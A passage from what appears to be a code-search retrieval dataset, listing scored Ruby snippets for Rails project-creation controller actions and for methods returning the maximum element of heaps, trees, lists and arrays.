"text": "def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to root_path, notice: 'Enhorabuena! Tienes un nuevo proyecto. A trabajar!' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4fd8b91177fdfba7154b48a786ae2dd3",
"score": "0.6828112",
"text": "def create\n @project = Project.create project_params\n current_user.memberships.create(\n project_id: @project.id,\n owner_at: Time.now\n )\n\n if @project.save\n render 'projects/create', status: 201\n else\n render 'projects/error', status: 422\n end\n end",
"title": ""
},
{
"docid": "1edd7c0496fb3ae705a236c7c612b548",
"score": "0.68190205",
"text": "def create\n @project = @client.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(client_projects_url(@client), notice: 'Project was successfully created.') }\n format.xml { render xml: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "023e04ca33793e88248cdb25c4bb690b",
"score": "0.6805993",
"text": "def create\n @create_project = current_user.projects.build(params[:project])\n flash[:notice] = \"Project #{@create_project.description} successfully created\" if @create_project.save\n respond_with(@create_project, layout: !request.xhr?)\n end",
"title": ""
},
{
"docid": "39141b39b44d4ee41f9b041354a73c00",
"score": "0.6785467",
"text": "def new_project\n @request = Request.new(data_type: :project)\n @request.build_contact\n @request.build_project\n @request.build_general_information\n\n render 'new'\n end",
"title": ""
},
{
"docid": "b35573dbf00cdfed62747459ddd8899f",
"score": "0.6784394",
"text": "def create\t\t\t\t\t\t\t\t\t# Creates record in db and redirects (porbably to index)\n\t\t@project = Project.new(projects_params)\t# Passes only title and desc.\n\n \trespond_to do |format|\t\t\t\t\t# All this is doing is rendering stuff in case of json\n \t\tif @project.save\n \t\tformat.html { redirect_to @project, notice: 'Created a new project!' }\n \t\tformat.json { render :show, status: :created, location: @project }\n \t\telse\n \t\tformat.html { render :new }\n \t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n\tend",
"title": ""
},
{
"docid": "ecf14c1524c5aacb8e8dabd18d3f7005",
"score": "0.6772122",
"text": "def create\n if params[:project_id]\n cloned_from = Project.find(params[:project_id])\n @project = cloned_from.clone(params, @cur_user.id)\n else\n @cloned_project = nil\n @project = Project.new project_params\n @project.user_id = @cur_user.id\n end\n\n respond_to do |format|\n if @project.save\n format.html do\n redirect_to @project, notice: 'Project was successfully created.'\n end\n format.json do\n render json: @project.to_hash(false),\n status: :created, location: @project\n end\n else\n flash[:error] = @project.errors.full_messages\n format.html { redirect_to projects_path }\n format.json do\n render json: @project.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "2dccf05a3ded2ece11ee2419b04b5a72",
"score": "0.67537344",
"text": "def create_project(key, name, params = {})\n params[:key] = key\n params[:name] = name\n post('projects', params)\n end",
"title": ""
},
{
"docid": "7e041ffd4733d7ab6061236930d5d9b0",
"score": "0.6748771",
"text": "def create\n @project = Project.new(project_params)\n @project.owner = current_user unless @project.owner\n if @project.save\n render :show, status: :created, location: @project\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f2f5b6a2c4319a68725291b3bf1ccaf7",
"score": "0.67365366",
"text": "def create_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'POST'\n\t\targs[:pattern] = '/projects'\n\t\targs[:query]['Action'] = 'CreateProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project\n\t\t\targs[:body]['Project'] = optional[:project]\n\t\tend\n\t\tself.run(args)\n\tend",
"title": ""
},
{
"docid": "82660b3d8bf45c925c8bc322dc10768c",
"score": "0.6717932",
"text": "def projects\n resource 'projects'\n end",
"title": ""
},
{
"docid": "00adaaa19dd36c1f683247034247b25d",
"score": "0.6715843",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n build_projects_user\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e2b822ac6725c13d272539fff1877b2",
"score": "0.66995734",
"text": "def create\n project_attrs = params[:project].merge(validate_repo_connectivity: true)\n @project = current_user.owned_projects.create(project_attrs, as: :owner)\n respond_with @project do |format|\n format.json do\n if @project.valid?\n render json: decorate(@project).to_json, status: :created\n else\n render json: {project: @project.errors.as_json}.to_json, status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "b874052eec6196d2d14cb52d49377574",
"score": "0.6686984",
"text": "def create\n @project = Project.new(params[:project])\n\t\t@project.user_id =current_user.id\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "89becd055496085e1729644764341517",
"score": "0.6686144",
"text": "def create\n @project = Project.new(params[:project])\n @project.skills = params[:skills]\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "392b707aa5d7a33d97a4145d4ba15fce",
"score": "0.6685788",
"text": "def create\n @project = Project.create(project_params)\n if @project.errors.blank?\n flash[:success] = t('controllers.projects.create.success', project: @project.name)\n else\n flash.now[:alert] = @project.errors.full_messages.unshift(t('controllers.projects.create.failure'))\n end\n respond_with @project, location: projects_url\n end",
"title": ""
},
{
"docid": "97b8cbb528906f726239ca77e0be5248",
"score": "0.66839826",
"text": "def create\n @new_nav = true;\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n if params[:project_attachments]\n create_attachments\n end\n\n if params[:project_fields]\n create_fields\n end\n\n if params[:slider_objects]\n create_slider_objects\n end\n\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "03142783795b9dba729b6ea12b41fa49",
"score": "0.668309",
"text": "def create\n @project = Project.new(project_params)\n @project.user = current_user\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28743d77ad141ffadfc086b19fde4f34",
"score": "0.66800094",
"text": "def create\n @project = Project.new(project_params)\n\n begin\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors.full_messages, status: :unprocessable_entity }\n end\n end\n rescue Exception => e\n @project.destroy\n respond_to do |format|\n format.html { render :new }\n format.json { render json: e.as_json, status: :service_unavailable }\n end\n end\n end",
"title": ""
},
{
"docid": "f24ef46a72288063542781af8018678f",
"score": "0.667597",
"text": "def project_create(global_options, options)\n result = Excon.post(\n \"#{global_options[:fenton_server_url]}/projects.json\",\n body: project_json(options),\n headers: { 'Content-Type' => 'application/json' }\n )\n\n [result.status, JSON.parse(result.body)]\n end",
"title": ""
},
{
"docid": "6ababaec05ec76e62a2f4fe9a32c0ce4",
"score": "0.66702014",
"text": "def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n @project.user_projects.create(:user_id => current_user.id, :status => true, :role => 1)\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f2e44a58350957a590536ef73a7db587",
"score": "0.6667841",
"text": "def create\n @project = Project.new(project_params)\n respond_to do |format|\n if @project.save\n flash[:alert] = \"Project created successfully.\"\n format.html { redirect_back(fallback_location: root_path) }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d517ba340627cf1170494cef404bf7c8",
"score": "0.66565335",
"text": "def create\n @project = Project.new(project_params)\n\n if is_organization_admin? and @project.save\n @project.team_members.create(user_id: @project.organization.owner_id)\n render json: {\n name: @project.name,\n organization: @project.organization.name,\n url: project_dashboard_path(@project.id)\n }\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7da67cd1dccff547f02e6b92243ff25f",
"score": "0.66517794",
"text": "def create\n @project = Project.new(project_params)\n\n if params[\"project\"][\"client_id\"] != \"\"\n @project.client = Client.find params[\"project\"][\"client_id\"]\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Novo projeto cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "60d245908357b7b298be8147c3736bef",
"score": "0.6651524",
"text": "def create\n @project = current_user.projects.create(params[:project])\n \n if @project.save\n record_activity(\"created new project: \" + @project.id.to_s)\n redirect_to root_path, :notice => \"Project created successfully\"\n else\n render 'new'\n end\n end",
"title": ""
},
{
"docid": "8b2b12c9ca8bc8c68e9d3cb073a8c132",
"score": "0.6648931",
"text": "def create\n\n @project = Project.new(project_params)\n @project.user_id = current_user.id\n\n respond_to do |format|\n if @project.save\n\n format.html { redirect_to @project, success: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d0fcf8a3b0c027fa985e62c30bae82ef",
"score": "0.66484773",
"text": "def create\n find_projects(params[:api_key])\n end",
"title": ""
},
{
"docid": "bf31b3092a4751c617b8e397641687bb",
"score": "0.66480523",
"text": "def create\n @project = Project.new(:project_title => params[:project_title], :start_date => params[:startDate], :end_date => params[:endDate],\n :status => params[:project_status])\n\n @project.user_id = current_user.id\n\n\n respond_to do |format|\n if @project.save\n p \"pass on projects controller\"\n format.html { redirect_to @project}\n format.json { render json: \"ok\" }\n else\n p \"fail on projects controller\"\n end\n end\n\n\n end",
"title": ""
},
{
"docid": "ca5887fb645a57e073452bc5f6796f6a",
"score": "0.6640583",
"text": "def create_project_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.create_project ...'\n end\n # resource path\n local_var_path = '/projects'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'create_project_body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'Project'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oryAccessToken']\n\n new_options = opts.merge(\n :operation => :\"ProjectApi.create_project\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#create_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "9cdbb23c2e4b8959a92b9592c8c90595",
"score": "0.66379994",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to :projects, notice: \"Project was successfully created.\" }\n format.json { render :show, status: :created, location: @project }\n else\n format.html do\n @teams = Team.order(:name)\n render :new\n end\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe887e6f8eb35a24c547f5f834f549fe",
"score": "0.6633938",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n @project.team.touch\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n render_errors(format, @project.errors, :new)\n end\n end\n end",
"title": ""
},
{
"docid": "0a8a383d2f18bcf6a9aee343f3ef3b7c",
"score": "0.6632241",
"text": "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to [:user, @project], notice: 'Project temp was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "736b99a51bf42939eeea2bebe09104d5",
"score": "0.6629466",
"text": "def create\n @project = Project.new(project_params)\n\n render text: params[:project].inspect\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Proyecto creado sastifactoriamente' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "62c6f24e3a2bca6fc9a0451fd74fc36a",
"score": "0.6627336",
"text": "def create\n @project = Project.new(params[:project])\n @project.status = \"Etat zero\"\n creator = current_user\n ProjectUser.create(:project => @project, :user => creator, :admin => true)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5448b89ac493a9d58f3765b5b23c8482",
"score": "0.6625422",
"text": "def create\n @project = Project.new(project_params)\n @project.user_id = current_user.id\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b28b9b90bcde6c892ad2196cee84f6f8",
"score": "0.6625179",
"text": "def create\n\n #Acá se retorna de la vista New (o de cualquier lugar que llame a create con POST). Le llega el hash project_params con \n # los datos que retornó la vista.\n\n #Crea el nuevo usuario.\n @project = Project.new(project_params)\n\n respond_to do |format| #Esta linea es curiosa. Si el request le llegó por HTML, entonces fue un navegador. Si le llego\n #por JSON, entonces probablemente fue otra cosa, un app movil por ejemplo.\n if @project.save #Esto guarda el proyecto nuevo en la base de datos y retorna True si no hubo problema, y False si hubo un error.\n # Es importante notar que al llamar .save, primero pasa por el modelo, el cual revisa que no falte ningún dato.\n # Por ejemplo, si el modelo necesita que se incluya el nombre del proyecto, si o si, y no se le pasó el nombre,\n # Entonces el modelo va a guardar ese error en un hash llamado errors, dentro de el mismo (@projects.errors)\n # y va a hacer que .save retorne False.\n\n\n format.html { redirect_to :controller => \"misc\", :action =>\"about\", notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d2af42a86d9d1704e96473d3bc0814f",
"score": "0.66251725",
"text": "def create\n @project = @projectable.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n track_activity @project\n format.html { redirect_to [@projectable, @project], notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
c256fbb2bca998edcf163a602160bb70
|
Getting the Maximum Element Since the maximum element in max heap is always at root, it will be stored at this.array[0].
|
[
{
"docid": "8d2595efdfdefe473050d885a977596a",
"score": "0.7740931",
"text": "def max\n return -1 if @count == 0\n return @array[0]\n end",
"title": ""
}
] |
[
{
"docid": "d4891d3416d7daea425738098a0efb4d",
"score": "0.8585525",
"text": "def extract_maximum!\n raise \"Heap Underflow - The heap is empty\" if self.heapsize < 1\n\n max_value = self[0]\n self[0] = self[self.heapsize - 1]\n self.heapsize = self.heapsize - 1\n self.max_heapify!(0)\n\n return max_value\n end",
"title": ""
},
{
"docid": "396e2f146d178751c180d0d4acb4c39a",
"score": "0.8520915",
"text": "def heap_maximum()\n\t\t@heap[0]\n\tend",
"title": ""
},
{
"docid": "f7ccf9cec6cb9a7aeea48dea556aae53",
"score": "0.8285451",
"text": "def heap_extract_max()\n\t\tif @heap.length < 0\n\t\t\treturn nil\n\t\tend\n\t\tmax = @heap[0]\n\t\t@heap[0] = @heap[@heap.length-1]\n\t\t@heap.pop()\n\t\tn_heapify(@max)\n\t\treturn max\n\tend",
"title": ""
},
{
"docid": "685dc628d46badb06d86afa22fd0a91a",
"score": "0.80448014",
"text": "def get_max\n return if is_empty?\n return @root.val\n end",
"title": ""
},
{
"docid": "f5965f78e5d6a61267ae4ed2eafba725",
"score": "0.8019483",
"text": "def max_element\n self.to_a.max\n end",
"title": ""
},
{
"docid": "b906b5dd3e9453a2000ec371a7910291",
"score": "0.78533643",
"text": "def max \n if max_element.kind_of? Array\n max_element.first\n else\n max_element\n end\n end",
"title": ""
},
{
"docid": "2ccec278f9345660428132345049449b",
"score": "0.7732894",
"text": "def max\n @n[0]\n end",
"title": ""
},
{
"docid": "5db7d963f5e72638f5b10a48b9ba8716",
"score": "0.77021646",
"text": "def max\n return nil if @root.nil?\n\n max_node(@root).key\n end",
"title": ""
},
{
"docid": "cfdd3c5c8394cd7b483b6877a3c07c88",
"score": "0.7683511",
"text": "def get_max()\n return @maxs_stack.peek()\n end",
"title": ""
},
{
"docid": "64cf463647b6d962ad16d0ebef33d80c",
"score": "0.76712674",
"text": "def extract_max\n return if is_empty?\n if size == 1\n @size = 0\n value = @root.val\n @root = nil\n return value\n end\n maximum = @root.val\n @size -= 1\n node = @leaf_set.get\n replaced_value = node.val\n @leaf_set.delete(node)\n @incomplete_set.delete(node)\n parent = node.parent\n parent.left == node ? parent.left = nil : parent.right = nil\n @leaf_set.delete(parent)\n @incomplete_set.delete(parent)\n node = nil\n @incomplete_set.insert(parent) if parent.is_incomplete?\n @leaf_set.insert(parent) if parent.is_leaf?\n\n @leaf_set.delete(@root)\n @incomplete_set.delete(@root)\n @root.val = replaced_value\n @incomplete_set.insert(@root) if @root.is_incomplete?\n @leaf_set.insert(@root) if @root.is_leaf?\n heapify(@root)\n return maximum\n end",
"title": ""
},
{
"docid": "10d2dd3bd00891847ea9a13203571311",
"score": "0.76349765",
"text": "def max\n max = @storage[0]\n @size.times do |i|\n if @storage[i] > max\n max = @storage[i]\n end\n\n end\n return max\n end",
"title": ""
},
{
"docid": "deb5c29e6f2f6e25b5434aa1a280943c",
"score": "0.76065344",
"text": "def maximum\n return self[0]\n end",
"title": ""
},
{
"docid": "06f3658a3a770a47caecd569f21776d0",
"score": "0.75479865",
"text": "def max\n @data[0]\n end",
"title": ""
},
{
"docid": "f58695f2e7588ef37d5aef4644d107a4",
"score": "0.7541903",
"text": "def extract_max # works according to VisualAlgo\n max = @values[0]\n tail = @values.pop()\n @values[0] = tail\n index = 0\n element = @values[index]\n while true do \n swapped = nil\n left = 2 * index + 1\n right = 2 * index + 2\n if left < @values.length \n if @values[left] > element\n swapped = left\n end\n end\n if right < @values.length\n if (!swapped && @values[right] > element) || (!!swapped && @values[right] > @values[left])\n swapped = right\n end\n end\n break if !swapped\n @values[index] = @values[swapped]\n @values[swapped] = element\n index = swapped\n end\n return max\n end",
"title": ""
},
{
"docid": "ca0b49c3d736242f783d6037af1db982",
"score": "0.74798536",
"text": "def max\n return nil if empty?\n\n root = @root\n while root\n return root unless root.right\n root = root.right\n end\n\n root\n end",
"title": ""
},
{
"docid": "24dee19c4a618efc9b1b5d2ce0ab84ed",
"score": "0.7442399",
"text": "def max_value\n if @head.nil?\n return nil\n else\n if head.right\n max_value = max_search(head.right).data\n else\n max_value = head.data\n end\n end\n return max_value\n end",
"title": ""
},
{
"docid": "22491197a07840a8b0a5ecdd8dc8887e",
"score": "0.7432689",
"text": "def max\n puts 'Queue id empty' and return if @root.nil?\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n max = 0\n while !q.isEmpty?\n node = q.dequeue\n max = node.data if node.data > max\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n return max\n end",
"title": ""
},
{
"docid": "4ff046601635a9570b1e70ea8f453420",
"score": "0.73861563",
"text": "def peek_max()\n return nil if @max_stack.empty?\n\n @max_stack.last\n end",
"title": ""
},
{
"docid": "b4e4b14185e8ddb108f81bba431aecb8",
"score": "0.73750186",
"text": "def max\n\t\tm = self.valor[0]\n\t\tfor i in (0...self.valor.size.to_i)\n\t\t\t\tif (self.valor[i]> m)\n\t\t\t\t\tm = self.valor[i]\n\t\t\t\tend\n\t\tend\n\t\treturn m\n\tend",
"title": ""
},
{
"docid": "0ed1443ab69a28f9fde7c2c9fc937375",
"score": "0.7346594",
"text": "def get_max\n\t\t@max.last\n\tend",
"title": ""
},
{
"docid": "bba290ec97f69de7adcf80864cb2b7f2",
"score": "0.734187",
"text": "def remove_max\n return nil if heap.empty?\n deleted = @heap.delete_at 0\n last_one = @heap.pop\n if last_one #ei ole false tai nil\n @heap.insert 0, last_one\n heapify_down 0\n end\n deleted\n end",
"title": ""
},
{
"docid": "30ccf716323df4895f28cb3c8950b085",
"score": "0.733453",
"text": "def max\n node = @root\n while node.right\n node = node.right\n end\n node\n end",
"title": ""
},
{
"docid": "45da35e73d8d7da438ea80af1070b387",
"score": "0.7333534",
"text": "def find_max()\r\n self.max\r\n end",
"title": ""
},
{
"docid": "ed28c08071bd97e55b3c5c1b8263bae5",
"score": "0.73098314",
"text": "def max\n temp = @first\n maxValue = -999999\n while !temp.nil?\n if temp.value > maxValue\n maxValue = temp.value\n end\n temp = temp.next\n end\n maxValue\n end",
"title": ""
},
{
"docid": "607ddc5fcd1a8e0817010536b1f359c3",
"score": "0.73091197",
"text": "def max()\n return \"Stack is empty.\" if is_empty\n\n max = @stack[-1]\n\n @stack.each do | i |\n max = i if i > max\n end\n\n return max\n end",
"title": ""
},
{
"docid": "6db53b13877535ad36cdf0bdb21e030f",
"score": "0.72838336",
"text": "def maximo\r\n\t\t\r\n\t\tmax = 0\r\n\t\t\r\n\t\ti = 0\r\n\t\t\r\n\t\twhile i < @numElementos\t\t\t\t\t\t\r\n\t\t\t\r\n\t\t\tif(@eleM[i] > max)\r\n\t\t\t\t\r\n\t\t\t\tmax = @eleM[i]\r\n\t\t\t\t\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\ti += 1\r\n\t\tend\r\n\t\t\r\n\t\t#puts \"maximo: #{max}\"\r\n\t\t\r\n\t\treturn max\r\n\t\t\r\n\tend",
"title": ""
},
{
"docid": "9a8c569cf237fb411ed75b3f2e7d31ca",
"score": "0.72725475",
"text": "def max\r\n temp = @first\r\n maxValue = -999999\r\n while !temp.nil?\r\n if temp.value > maxValue\r\n maxValue = temp.value\r\n end\r\n temp = temp.next\r\n end\r\n maxValue\r\n end",
"title": ""
},
{
"docid": "d3be266e845883ed3b1f35585a148ea6",
"score": "0.7265289",
"text": "def maximum(node = @root)\n maximus = node\n maximus = maximus.right until maximus.right.nil?\n maximus\n end",
"title": ""
},
{
"docid": "6f2ad962b470c69219a3423297d02f3e",
"score": "0.72210205",
"text": "def max\n empty? ? -Float::INFINITY : @list.head.value[2]\n end",
"title": ""
},
{
"docid": "c87f0cad1f556758dec6c0e72d563e98",
"score": "0.7201098",
"text": "def max_index\n self.to_a.index(max_element)\n end",
"title": ""
},
{
"docid": "bb40dcee87d8823725f6a077193830a2",
"score": "0.7191221",
"text": "def maximum(arr)\n\t# for empty input\n\treturn nil if arr.nil? or arr.length == 0\n\tmax = arr[0]\n\tarr.each do |elem|\n\t\tmax = elem if elem > max\n\tend\n\tmax\nend",
"title": ""
},
{
"docid": "275fd094be20d0fc59980f441008e355",
"score": "0.71871",
"text": "def max\r\n\ttemp = @first\r\n\tmaxValue = nil\r\n\tif !temp.nil? then\r\n\t\tmaxValue = temp.value\r\n\t\ttemp = temp.next\r\n\tend\r\n\twhile !temp.nil?\r\n\t\tif temp.value > maxValue then\r\n\t\t\tmaxValue = temp.value\r\n\t\tend\r\n\t\ttemp = temp.next\r\n\tend\r\n\treturn maxValue\r\n end",
"title": ""
},
{
"docid": "0b23b3b3704696bc5adf9a34ddb0b8e9",
"score": "0.7185233",
"text": "def pop_max()\n return nil if @stack.empty?\n\n max_val = peek_max\n tmp_stack = []\n\n while top != max_val\n val = pop\n tmp_stack.push(val)\n end\n pop\n\n while !tmp_stack.empty?\n val = tmp_stack.pop\n push(val)\n end\n\n max_val\n end",
"title": ""
},
{
"docid": "7894212a1586673a59aba6d440f3d963",
"score": "0.71691746",
"text": "def max\r\n temp = @first\r\n maxValue = -99999\r\n while !temp.nil?\r\n if temp.value > maxValue\r\n maxValue = temp.value\r\n end\r\n temp = temp.next\r\n end\r\n return maxValue\r\n end",
"title": ""
},
{
"docid": "2fe86914c11f098f5bcc871c702af511",
"score": "0.71662104",
"text": "def maximum(tree_node = @root)\n max = tree_node\n until max.right.nil?\n max = max.right\n end\n max\n end",
"title": ""
},
{
"docid": "56d4f8b00515326a9c3c43e8fba050ef",
"score": "0.7162311",
"text": "def find_max_value(array)\n array.sort!\n return array[-1]\nend",
"title": ""
},
{
"docid": "5d5b518bc7ffc2eacb7aafacd879f2fa",
"score": "0.71505624",
"text": "def max\n @maxx_stack.max\n end",
"title": ""
},
{
"docid": "f6d3baec061ba448bbf2fe09899985de",
"score": "0.7123276",
"text": "def max_value\n max = 0\n\n @matrix.each do |row|\n row_max = row.max\n max = row_max if row_max > max\n end\n\n max\n end",
"title": ""
},
{
"docid": "60e5e879bc41b3c593848ee5a34fe382",
"score": "0.71214336",
"text": "def max\n temp = @first\n maxValue = -999999\n while !temp.nil?\n if temp.value > maxValue\n maxValue = temp.value\n end\n temp = temp.next\n end\n return maxValue\n end",
"title": ""
},
{
"docid": "8f4287df74972fd11008966c33fdd7de",
"score": "0.7117929",
"text": "def max\n data.max\n end",
"title": ""
},
{
"docid": "4c138b87a0a5ebf2939336aafc1e890d",
"score": "0.7090761",
"text": "def max\r\n temp = @first\r\n max_value = @first.value\r\n while !temp.nil?\r\n if temp.value > max_value\r\n max_value = temp.value\r\n end\r\n temp = temp.next\r\n end\r\n return max_value\r\n end",
"title": ""
},
{
"docid": "e362cd66a62e24c54b9bc71cb79fca09",
"score": "0.7089868",
"text": "def last\n node = @tree.maximum\n node.nil? ? default : node.to_a\n end",
"title": ""
},
{
"docid": "b9475f85867435e9f159a9e84f091b76",
"score": "0.708662",
"text": "def find_max\r\n return nil if !@head\r\n cursor = @head\r\n max = cursor.data\r\n while cursor\r\n if cursor.data > max\r\n max = cursor.data\r\n end\r\n cursor = cursor.next\r\n end\r\n return max\r\n end",
"title": ""
},
{
"docid": "08a3f9b8bf21ee1296a7d1740fc1a4ac",
"score": "0.7083446",
"text": "def maximum\n return @maximum\n end",
"title": ""
},
{
"docid": "66850c51b1cba5255e6ffc02150c7af1",
"score": "0.7047463",
"text": "def find_max_value(array)\n array.max \nend",
"title": ""
},
{
"docid": "80a13ea6064309a167fa84b59f0221d9",
"score": "0.70459265",
"text": "def max\n\t w=0\n\t for i in(0..@n_elem-1)\n\t if(w < @elem[i])\n\t w = @elem[i]\n\t end\n\t end\n\t w\n\tend",
"title": ""
},
{
"docid": "03f2392ecea406c95511b4cba81d1895",
"score": "0.7010736",
"text": "def maximum(tree_node = @root)\n BinarySearchTree.max(tree_node)\n end",
"title": ""
},
{
"docid": "f380f759bf8f12ddcedf914e3d613300",
"score": "0.70091975",
"text": "def find_max_value(array)\n return array.max\nend",
"title": ""
},
{
"docid": "99c81c3e1054be378664796d0ba4fc78",
"score": "0.69956064",
"text": "def largest_value\n values.max\n end",
"title": ""
},
{
"docid": "ee9cb2536d26d26ab4dfee075f895afc",
"score": "0.69940174",
"text": "def max_value(our_array)\n\treference = -100000\n\tour_array.each do |number|\n\t\tif number > reference\n\t\t\treference = number\n\t\tend\n\tend\n\treference\nend",
"title": ""
},
{
"docid": "c44acf1b34331dae3ab173c1a4f17739",
"score": "0.69937193",
"text": "def max()\n return \"Stack is empty.\" if is_empty\n\n current = @head\n max = current.value\n\n while current != nil\n if current.value > max\n max = current.value\n end\n\n current = current.next\n end\n\n return max\n end",
"title": ""
},
{
"docid": "d7648592effc46326c3fd51c38cc9a2f",
"score": "0.6993209",
"text": "def largest(array)\nend",
"title": ""
},
{
"docid": "b6b06f529d1be12e83cc5015f3ef4966",
"score": "0.6987509",
"text": "def find_max\r\n \r\n if @head.nil?\r\n return nil \r\n end\r\n \r\n current = @head\r\n max = current.data\r\n \r\n until current.nil?\r\n if current.data > max \r\n max = current.data\r\n end\r\n current = current.next\r\n end\r\n \r\n return max\r\n end",
"title": ""
},
{
"docid": "ca068e690dad9da31810ffc2baf3f5b0",
"score": "0.6981873",
"text": "def find_max_value(array)\n sorted_array = array.sort\n sorted_array.last\nend",
"title": ""
},
{
